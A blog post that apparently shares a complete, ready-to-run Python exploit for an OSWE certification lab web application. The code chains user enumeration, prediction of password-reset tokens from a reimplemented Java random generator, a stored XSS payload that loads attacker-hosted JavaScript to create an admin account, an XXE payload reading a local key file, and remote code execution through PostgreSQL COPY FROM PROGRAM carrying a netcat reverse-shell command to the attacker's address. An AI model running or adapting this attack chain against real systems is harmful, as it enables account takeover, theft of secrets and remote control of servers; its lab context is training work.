[SPOILER] Answers OSWE Lab Exploit

Posted on Oct 28, 2024

Huseyn Gadashov

Replace values to the ones you have and you are good to go!

import time
import requests
import base64
import http.cookies
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor
import http.server
import threading
import random
import urllib.parse
import re

class JavaRandom:
    def __init__(self, seed):
        self.seed = (seed ^ 0x5DEECE66D) & ((1 << 48) - 1)
        self.multiplier = 0x5DEECE66D
        self.addend = 0xB
        self.mask = (1 << 48) - 1

    def next(self, bits):
        self.seed = (self.seed * self.multiplier + self.addend) & self.mask
        return (self.seed >> (48 - bits))

    def next_int(self, bound):
        if (bound & -bound) == bound:
            return (bound * self.next(31)) >> 31
        bits = self.next(31)
        val = bits % bound
        while bits - val + (bound - 1) < 0:
            bits = self.next(31)
            val = bits % bound
        return val



def findModerator(url):
    i = 1
    moderators = []
    r = requests.Session()
    moderatorsUid = []
    while i < float('inf'):
        a = str(i)
        newUrl = url + '/profile/' + a
        x = r.get(newUrl, allow_redirects=False)
        if x.status_code < 400 and x.status_code >= 300:
            break
        elif "<div>Moderator</div>" in x.text:
            soup = BeautifulSoup(x.text, 'html.parser')
            usernames = soup.find_all('div', class_='title')
            for username in usernames:
                username = username.h2.text # -> choose text from HTML tag
                if "admin" in username:
                    pass
                else:
                    moderators.append(username)
                    moderatorsUid.append(i)
        i += 1
    uid = i - 1
    j = 0
    uidCount = len(moderatorsUid)
    moderatorsWithUid = []
    while j < uidCount:
        moderators = ','.join(str(x) for x in moderators)
        moderators = moderators.replace('<h2>','').replace('</h2>','').split(',')
        new = moderators[j] + '-' + str(moderatorsUid[j])
        moderatorsWithUid.append(new)
        j += 1
    #.split(',')
    print(f"Number of users: {uid}")
    print(f"Moderators with UID {moderatorsWithUid}")
    return moderatorsWithUid,moderators,uidCount


def timeExec(url,moderator):
    newUrl = url + '/generateMagicLink'
    myobj = {'username': f'{moderator}'}
    start = round(time.time() * 1000 - 300)
    x = s.post(newUrl, data = myobj, allow_redirects=False)
    end = round(time.time() * 1000 + 300)
    print(f"Reset password sent for {moderator}")
    return start,end,moderator

def getModeratorUID(moderatorsWithUid,moderator):
    for modWithUID in moderatorsWithUid:
        if moderator in modWithUID:
            uid = modWithUID.replace(f'{moderator}-','')
            break
    return uid,moderator

def token1(start,end,length,charset):
    tokens = []
    while start < end:
        random = JavaRandom(start)
        i = 0
        token = []
        while i < length:
            index = random.next_int(len(charset))
            token.append(charset[index])
            i += 1
        token = ''.join(token)
        tokens.append(token)
        start += 1
    return tokens

def token2(tokens):
    allAscii = []
    numIndex = (len(tokens) - 1)
    i = 0
    while i <= numIndex:
        theAscii = []
        for everyChar in tokens[i]:
            theAscii.append(ord(everyChar))
        #theAscii = ''.join(str(x) for x in theAscii) -> use to convert list to string
        allAscii.append(str(theAscii))
        i += 1
    return allAscii

def xorToken(allAscii, uid):
    asciiIndex = (len(allAscii) - 1)
    i = 0
    allXors = []
    while i <= asciiIndex:
        #print(f"listingAscii not as list {allAscii[i]}") # returns [35, 67, 85, 70, 119, 108, 74], but i want ['35','67...]
        listingAscii = allAscii[i].replace("[", "").replace("]", "").replace(" ", "").split(",") # string to list using replacement in case if your list is like the oe above
        lengthOfListingAscii = len(listingAscii) - 1
        j = 0
        xor = []
        while j <= lengthOfListingAscii:
            xorNum = listingAscii[j]
            xoring = int(xorNum) ^ uid
            xor.append(xoring)
            j += 1
        allXors.append(str(xor))
        i += 1
    return asciiIndex,allXors

def xorToBase64(allXors):
    xorIndex = (len(allXors) - 1)
    i = 0
    basedXors = []
    while i <= xorIndex:
        listingXor = allXors[i].replace("[", "").replace("]", "").replace(" ", "").split(",")
        res = "" 
        for val in listingXor:
            res = res + chr(int(val))
        sample_string_bytes = res.encode("ascii")
        base64_bytes = base64.urlsafe_b64encode(sample_string_bytes)
        basedXor = base64_bytes.decode("ascii").rstrip("=")
        basedXors.append(basedXor)
        #basedXor = base64.urlsafe_b64encode(sample_string_bytes).decode('ascii').rstrip("=") -> oneliner from base64_bytes to basedXor
        i += 1
    with open(output_file, 'a', encoding='utf-8') as f:
        f.write(str(basedXors))
    return basedXors

def whichFuckinToken(eachXor,url):
    newUrl = url + '/magicLink/' + eachXor
    x = s.get(newUrl, allow_redirects=False)
    if 'Set-Cookie' in x.headers:
        global cookies
        cookies = []
        cookies.append(x.headers['Set-Cookie'])
        print(f"Cookie: {cookies} and token {eachXor}")

def multiThreadTokenCheck(basedXors,url):
    with ThreadPoolExecutor(max_workers=20) as executor:
        futures = [executor.submit(whichFuckinToken, eachXor, url) for eachXor in basedXors]
        for future in futures:
            future.result()

def login(url,moderator):
     x = s.get(url, allow_redirects=False)
     if f"Welcome {moderator}" in x.text:
         print(f"Logged in as {moderator}")
         result = "success"
         if "adminka" not in x.text:
             logout(url)
     else:
        result = "fail"
     return result

    
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
    randomValue = None
    def do_GET(self):
        global randomka
        global url
        parsed_path = urllib.parse.urlparse(self.path)
        query_params = urllib.parse.parse_qs(parsed_path.query)
        cookies = []
        if 'cookie' in query_params:
            value = query_params['cookie'][0]
            cookies.append(value)
            i = 0
            while i < len(cookies):
                realCookie = urllib.parse.unquote(cookies[i]) # <- used for urldecode
                cookieName,cookieValue = realCookie.split('=') # result is liek this cookiename=cookievalue so I am splitting with = to take left and right parts saperetely
                cookies = {f'{cookieName}': f'{cookieValue}'}
                r = requests.get(f'{url}', cookies=cookies)
                if "Welcome admin" in r.text:
                    stop_server()
                i += 1
        if self.path == f'/{randomka}.js':
            self.send_response(200)
            self.send_header('Content-type', 'application/javascript')
            self.end_headers()
            CustomHTTPRequestHandler.randomValue = random.randint(100,999)
            js_content = f"""
            async function createUser() {{
                const url = '{url}/admin/users/create';
                const data = new URLSearchParams({{
                    name: 'adminka{CustomHTTPRequestHandler.randomValue}',
                    email: 'adminka{CustomHTTPRequestHandler.randomValue}@loc.loc',
                    isAdmin: 'true',
                    isMod: 'true'
                }});
            
                try {{
                    const response = await fetch(url, {{
                        method: 'POST',
                        mode: 'no-cors',
                        headers: {{
                            'Content-Type': 'application/x-www-form-urlencoded',
                            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
                            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
                            'Accept-Language': 'en-US,en;q=0.5',
                            'Accept-Encoding': 'gzip, deflate, br',
                            'Connection': 'close',
                            'Upgrade-Insecure-Requests': '1',
                        }},
                        body: data.toString(),
                    }});
            
                    const result = await response.text();
                    console.log('Response:', result);
                }} catch (error) {{
                    console.error('Error:', error);
                }}
            }}
            
            createUser();            
            """
            self.wfile.write(js_content.encode('utf-8'))
        else:
            self.send_response(404)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write(b'Resource not found')

def startServer(port):
    server_address = ('0.0.0.0', port)
    httpd = http.server.HTTPServer(server_address, CustomHTTPRequestHandler)
    print(f"Starting server on port {port} <- this is when you click Simulate in debugger lab...")
    def shutdown_server_after_delay():
        time.sleep(10)
        stop_server(httpd)
    threading.Thread(target=shutdown_server_after_delay, daemon=True).start()
    httpd.serve_forever()

def stop_server(httpd):
    httpd.shutdown()

def findAdmin(url,randomAdmin):
    i = 0
    admins = []
    r = requests.Session()
    adminsUid = []
    while i < float('inf'):
        a = str(i + 1)
        newUrl = url + '/profile/' + a
        x = r.get(newUrl, allow_redirects=False)
        if x.status_code < 400 and x.status_code >= 300:
            break
        elif f"<h2>adminka{randomAdmin}</h2>" in x.text:
            soup = BeautifulSoup(x.text, 'html.parser')
            usernames = soup.find_all('div', class_='title')
            for username in usernames:
                username = username.find('h2')
                admins.append(username)
                adminsUid.append(a)
        i += 1
    uid = i
    j = 0
    uidCount = len(adminsUid) - 1
    adminsWithUid = []
    while j <= uidCount:
        admins = ','.join(str(x) for x in admins)
        admins = admins.replace('<h2>','').replace('</h2>','').split(',')
        new = admins[j] + '-' + str(adminsUid[j])
        adminsWithUid.append(new)
        j += 1
    #.split(',')
    print(f"Number of users: {uid}")
    print(f"Admin we created with UID {adminsWithUid}")
    return adminsWithUid,admins,uidCount

def sendPayload(url, serverIP, port):
    global randomka
    newUrl = url + '/question'
    randomka = random.randint(10000,99999)
    payload = {'title' : f'hmm{randomka}', 'description' : f'a<script src=http://{serverIP}:{port}/{randomka}.js></script>em>', 'category': '1'}
    payload = urllib.parse.urlencode(payload) # <- urlencode
    headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
    x = s.post(newUrl, data=payload, allow_redirects=False, headers=headers)
    if x.status_code == 200:
        i = 0
        while i < float('inf'):
            threadUrl = url + f'/thread/{i}'
            x = s.get(threadUrl, allow_redirects=False)
            soup = BeautifulSoup(x.text, 'html.parser')
            titles = soup.find('div', class_='title')
            randomka = str(randomka)
            if x.status_code == 200:
                if f'{randomka}' in titles.h2.text:
                    realThread = i
                    newUrl = url + '/moderate/' + str(realThread)
                    payload = {'active': 'true', 'mod': 'true'}
                    x = s.post(newUrl, data=payload, allow_redirects=False, headers=headers)
                    break
            i += 1
    return realThread

def logout(url):
    out = url + '/logout'
    x = s.get(out, allow_redirects=True)

def getAdminKey(url):
    keyUrl = url + '/admin/import'
    headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
    xmldata = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY example SYSTEM "file:///home/student/adminkey.txt"> ]> <database> <users> <user> <id>5</id> <username>Carl</username> <password>&example;</password> <isAdmin>false</isAdmin> <isMod>true</isMod> <email>[email protected]</email> </user> </users> </database>'
    payload = {'preview':'true', 'xmldata':f'{xmldata}'}
    payload = urllib.parse.urlencode(payload)
    x = s.post(keyUrl, data=payload, allow_redirects=False, headers=headers)
    match = re.search(r'<password>(.*?)</password>', x.text, re.DOTALL) #parse from to and remove newlines
    key = match.group().replace('<password>', '').replace('</password>','').strip()
    return key

def blindRCE(url,key,command):
    keyUrl = url + '/admin/query'
    headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
    payload = {'adminKey': f'{key}', 'query': f"CREATE TABLE adminka{randomka}(output text);COPY adminka{randomka} FROM PROGRAM '{command}';"}
    payload = urllib.parse.urlencode(payload)
    x = s.post(keyUrl, data=payload, allow_redirects=False, headers=headers)
    if x.status_code == 200:
        match = re.search(r'<p>(.*?)</p>', x.text, re.DOTALL) #parse from to
        response = match.group().replace('<p>', '').replace('</p>','')
        print(f"Response of your command is {response}")

if __name__ == "__main__":
    print(f"Exploit by exploit.az")
    #start = 1729775854793
    #end = 1729775854795
    #uid = 7
    url = 'http://192.168.196.251' #Input IP address of the lab
    command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.45.171 4444 >/tmp/f' #change it
    serverIP = '192.168.45.171' #Input IP address of your machine
    port = 8000
    randomka = None
    s = requests.Session()
    output_file = "tokens.txt"
    length = 42
    charset = "abcdefghijklmnopqrstuvwxyz" + "abcdefghijklmnopqrstuvwxyz".upper() + "1234567890" + "!@#$%^&*()"
    moderatorsWithUid,moderators,uidCount = findModerator(url)
    k = 0
    while k < uidCount:
        start,end,moderator = timeExec(url,moderators[k])
        uid,moderator = getModeratorUID(moderatorsWithUid,moderator)
        uid = int(uid)
        print(f"UID of {moderator} is {uid}")
        tokens = token1(start,end,length,charset)
        #tokens = '\n'.join(tokens) -> use to convert list to string
        allAscii = token2(tokens)
        #allAscii = '\n'.join(allAscii) -> just for the view, it converts [[1],[2]] into [1] \n [2]
        asciiIndex,allXors = xorToken(allAscii, uid)
        basedXors = xorToBase64(allXors)
        multiThreadTokenCheck(basedXors, url)
        result = login(url,moderator)
        if "success" in result:
            realThread = sendPayload(url, serverIP, port)
            print(f"Number of thread I created is {realThread}")
            startServer(port)
            randomAdmin = CustomHTTPRequestHandler.randomValue
            adminsWithUid,admins,uidCount = findAdmin(url,randomAdmin)
            j = 0
            while j <= uidCount:
                start,end,admin = timeExec(url,admins[j])
                uid,admin = getModeratorUID(adminsWithUid,admin)
                uid = int(uid)
                print(f"UID of {admin} is {uid}")
                tokens = token1(start,end,length,charset)
                allAscii = token2(tokens)
                asciiIndex,allXors = xorToken(allAscii, uid)
                basedXors = xorToBase64(allXors)
                multiThreadTokenCheck(basedXors, url)
                result = login(url,admin)
                if "success" in result:
                    key = getAdminKey(url)
                    blindRCE(url,key,command)
                    j += 1
                    break
                j += 1
            break
        k += 1